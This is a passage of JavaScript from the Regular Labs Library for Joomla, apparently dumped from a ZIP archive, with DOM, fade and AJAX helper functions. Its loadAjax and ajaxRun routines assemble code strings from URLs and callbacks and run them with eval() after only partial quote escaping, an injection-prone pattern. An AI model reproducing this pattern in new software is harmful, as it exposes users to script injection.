default: const element = typeof selector === 'string' ? document.querySelectorAll(selector) : selector; if ('forEach' in element) { element.forEach(subElement => $.toggle(subElement)); return; } element.style.display === 'none' ? $.show(selector) : $.hide(selector); break; } }; /** * Fades in the given element(s). * * @param selector A CSS selector string, a HTMLElement object or a collection of HTMLElement objects. * @param duration Optional duration of the effect in milliseconds. * @param oncomplete Optional callback function to execute when effect is completed. */ this.fadeIn = function(selector, duration = 250, oncomplete) { if ( ! selector) { return; } const element = typeof selector === 'string' ? document.querySelectorAll(selector) : selector; this.makeVisible(element); $.fadeTo( element, 1, duration, () => { $.show(element); if (oncomplete) { oncomplete.call(element); } } ); }; /** * Fades out the given element(s). * * @param selector A CSS selector string, a HTMLElement object or a collection of HTMLElement objects. * @param duration Optional duration of the effect in milliseconds. * @param oncomplete Optional callback function to execute when effect is completed. */ this.fadeOut = function(selector, duration = 250, oncomplete) { if ( ! selector) { return; } const element = typeof selector === 'string' ? document.querySelectorAll(selector) : selector; $.fadeTo( element, 0, duration, () => { $.hide(element); if (oncomplete) { oncomplete.call(element); } } ); }; /** * Fades out the given element(s). * * @param selector A CSS selector string, a HTMLElement object or a collection of HTMLElement objects. * @param opacity Opacity Value to fade to * @param duration Optional duration of the effect in milliseconds. * @param oncomplete Optional callback function to execute when effect is completed. */ this.fadeTo = function(selector, opacity, duration = 250, oncomplete) { if ( ! selector) { return; } const element = typeof selector === 'string' ? document.querySelectorAll(selector) : selector; if ('forEach' in element) { element.forEach(subElement => $.fadeTo(subElement, opacity, duration)); return; } const wait = 50; // amount of time between steps const nr_of_steps = duration / wait; const change = 1 / nr_of_steps; // time to wait before next step element.style.opacity = getComputedStyle(element, 'opacity'); if (opacity === element.style.opacity) { element.setAttribute('data-fading', ''); if (oncomplete) { oncomplete.call(element); } return; } this.makeVisible(element); const direction = opacity > element.style.opacity ? 'in' : 'out'; element.setAttribute('data-fading', direction); (function fade() { if (element.getAttribute('data-fading') && element.getAttribute('data-fading') !== direction ) { return; } const new_opacity = direction === 'out' ? parseFloat(element.style.opacity) - change : parseFloat(element.style.opacity) + change; if ((direction === 'in' && new_opacity >= opacity) || (direction === 'out' && new_opacity <= opacity) ) { element.style.opacity = opacity; element.setAttribute('data-fading', ''); if (oncomplete) { oncomplete.call(element); } return; } element.style.opacity = new_opacity; setTimeout(() => { fade.call(); }, wait); })(); }; /** * Runs a function when the document is loaded (on ready state). * * @param func Callback function to execute when document is ready. */ this.onReady = function(func) { document.addEventListener('DOMContentLoaded', func); }; /** * Converts a string with HTML code to 'DOM' elements. * * @param html String with HTML code. * * @return element */ this.createElementFromHTML = function(html) { return document.createRange().createContextualFragment(html); }; /** * Loads a url with optional POST data and optionally calls a function on success or fail. * * @param url String containing the url to load. * @param data Optional string representing the POST data to send along. * @param success Optional callback function to execute when the url loads successfully (status 200). * @param fail Optional callback function to execute when the url fails to load. */ this.loadUrl = function(url, data, success, fail) { const request = new XMLHttpRequest(); request.open('POST', url, true); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); request.onreadystatechange = function() { if (this.readyState !== 4) { return; } if (this.status === 200) { success && success.call(null, this.responseText, this.status, this); return; } fail && fail.call(null, this.responseText, this.status, this); }; request.send(this.toUrlQueryString(data)); }; /** * Converts a data object (key, value) to a serialized query string. * * @param data The object with the data to serialize. * @param prefix An Optional prefix. */ this.toUrlQueryString = function(data, prefix) { if (typeof data !== 'object') { return data; } const parts = []; if ( ! (Symbol.iterator in Object(data))) { data = Object.entries(data); } for (let i in data) { let value = data[i]; let name = ''; if (value instanceof Array) { [name, value] = value; } let key = name ? (prefix ? `${prefix}[${name}]` : name) : prefix; if ( ! key) { continue; } if (value !== null && typeof value === 'object') { if (value instanceof Array) { key += '[]'; } parts.push(this.toUrlQueryString(value, key)); continue; } parts.push(`${key}=${value}`); } return parts.join('&'); }; /** * * ALIASES * */ this.as = this.alias; this.hasClass = this.hasClasses; this.addClass = this.addClasses; this.removeClass = this.removeClasses; this.toggleClass = this.toggleClasses; /** * * PRIVATE FUNCTIONS * */ /** * Executes an action on the element(s) to add/remove/toggle classes. * * @param action A string that identifies the action: add|remove|toggle. * @param selector A CSS selector string, a HTMLElement object or a collection of HTMLElement objects. * @param classes A string or array of class names. */ const doClasses = function(action, selector, classes) { if ( ! selector) { return; } const element = typeof selector === 'string' ? document.querySelectorAll(selector) : selector; if ('forEach' in element) { element.forEach(subElement => doClasses(action, subElement, classes)); return; } if (typeof classes === 'string') { classes = classes.split(' '); } element.classList[action](...classes); }; /** * Finds the computed style of an element. * * @param element A HTMLElement object. * @param property The style property that needs to be returned. * * @returns mixed */ const getComputedStyle = function(element, property) { if ( ! element) { return null; } return window.getComputedStyle(element).getPropertyValue(property); }; /** * Finds the default computed style of an element by its type. * * @param element A HTMLElement object. * @param property The style property that needs to be returned. * * @returns mixed */ const getDefaultComputedStyle = function(element, property) { if ( ! element) { return null; } const defaultElement = document.createElement(element.nodeName); document.body.append(defaultElement); let propertyValue = window.getComputedStyle(defaultElement).getPropertyValue(property); defaultElement.remove(); return propertyValue; }; /** * * PRIVATE VARIABLES * */ /** * @param $ internal shorthand for the 'this' keyword. */ const $ = this; }; } PK ��\_M � js/script.jsnu &1i� /** * @package Regular Labs Library * @version 25.7.12430 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ (function() { 'use strict'; window.RegularLabs = window.RegularLabs || {}; window.RegularLabs.Scripts = window.RegularLabs.Scripts || { version: '25.7.12430', ajax_list : [], started_ajax_list: false, ajax_list_timer : null, loadAjax: function(url, success, fail, query, timeout, dataType, cache) { if (url.indexOf('index.php') !== 0 && url.indexOf('administrator/index.php') !== 0) { url = url.replace('http://', ''); url = `index.php?rl_qp=1&url=${encodeURIComponent(url)}`; if (timeout) { url += `&timeout=${timeout}`; } if (cache) { url += `&cache=${cache}`; } } let base = window.location.pathname; base = base.substring(0, base.lastIndexOf('/')); if ( typeof Joomla !== 'undefined' && typeof Joomla.getOptions !== 'undefined' && Joomla.getOptions('system.paths') ) { base = Joomla.getOptions('system.paths').base; } // console.log(url); // console.log(`${base}/${url}`); this.loadUrl( `${base}/${url}`, null, (function(data) { if (success) { success = `data = data ? data : ''; ${success};`.replace(/;\s*;/g, ';'); eval(success); } }), (function(data) { if (fail) { fail = `data = data ? data : ''; ${fail};`.replace(/;\s*;/g, ';'); eval(fail); } }) ); }, /** * Loads a url with optional POST data and optionally calls a function on success or fail. * * @param url String containing the url to load. * @param data Optional string representing the POST data to send along. * @param success Optional callback function to execute when the url loads successfully (status 200). * @param fail Optional callback function to execute when the url fails to load. */ loadUrl: function(url, data, success, fail) { return new Promise((resolve) => { const request = new XMLHttpRequest(); request.open("POST", url, true); request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); request.onreadystatechange = function() { if (this.readyState !== 4) { return; } if (this.status !== 200) { fail && fail.call(null, this.responseText, this.status, this); resolve(this); return; } success && success.call(null, this.responseText, this.status, this); resolve(this); }; request.send(data); }); }, addToLoadAjaxList: function(url, success, error) { // wrap inside the loadajax function (and escape string values) url = url.replace(/'/g, "\\'"); success = success.replace(/'/g, "\\'"); error = error.replace(/'/g, "\\'"); const action = `RegularLabs.Scripts.loadAjax( '${url}', '${success};RegularLabs.Scripts.ajaxRun();', '${error};RegularLabs.Scripts.ajaxRun();' )`; this.addToAjaxList(action); }, addToAjaxList: function(action) { this.ajax_list.push(action); if ( ! this.started_ajax_list) { this.ajaxRun(); } }, ajaxRun: function() { if ( ! this.ajax_list.length) { return; } clearTimeout(this.ajax_list_timer); this.started_ajax_list = true; const action = this.ajax_list.shift(); eval(`${action};`); if ( ! this.ajax_list.length) { this.started_ajax_list = false; return; } // Re-trigger this ajaxRun function just in case it hangs somewhere this.ajax_list_timer = setTimeout( function() { RegularLabs.Scripts.ajaxRun(); }, 5000 ); }, }; })(); PK ��\�n�-�"